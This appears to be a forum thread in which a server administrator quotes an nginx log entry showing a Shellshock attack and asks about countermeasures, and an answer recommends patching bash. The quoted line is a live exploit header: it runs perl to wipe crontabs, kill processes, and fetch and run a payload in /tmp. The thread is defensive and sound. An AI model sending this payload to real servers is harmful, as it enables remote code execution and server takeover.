I just notice this repeated entry in nginx log: - - [04/Mar/2015:10:29:53 +0700] "GET /cgi-bin/up.cgi HTTP/1.1" 301 178 "-" "() { :;};/usr/bin/perl -e 'print \x22Content-Type: text/plain\x5Cr\x5Cn\x5Cr\x5CnXSUCCESS!\x22;system(\x22crontab -r;killall -9 php perl; cd /tmp/ ; mkdir gnu-bash-max-races ; cd /tmp/gnu-bash-max-races ; wget ; lwp-download ; fetch ; curl -O ; perl gnu-bash-max-race;cd /tmp/;rm -rf max*\x22);'"

This is attacking gitlab virtualhost, so it don't do any damage. I also don't have any cgi, I use php-fpm for other virtualhost.

I want to know is there any countermeasure that need to be set in the server to defend against similar attacks?

PS: I already set up ip bans using iptables and fail2ban running. My other vps taken over via ssh, so I had to reinstall it again. I'm still in paranoid condition and want to hardening up the vps servers under my control.

1 Answer 1


The string provided does appear to be an attempt to exploit the Shellshock vulnerability. With cgi disabled your attack surface should be reduced.

With regards to countermeasures, patching to address the issue would be the most effective approach. The following links provides guidance on assessing whether your installation is vulnerable, as well as steps to apply the necessary patch to address the issue:



You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .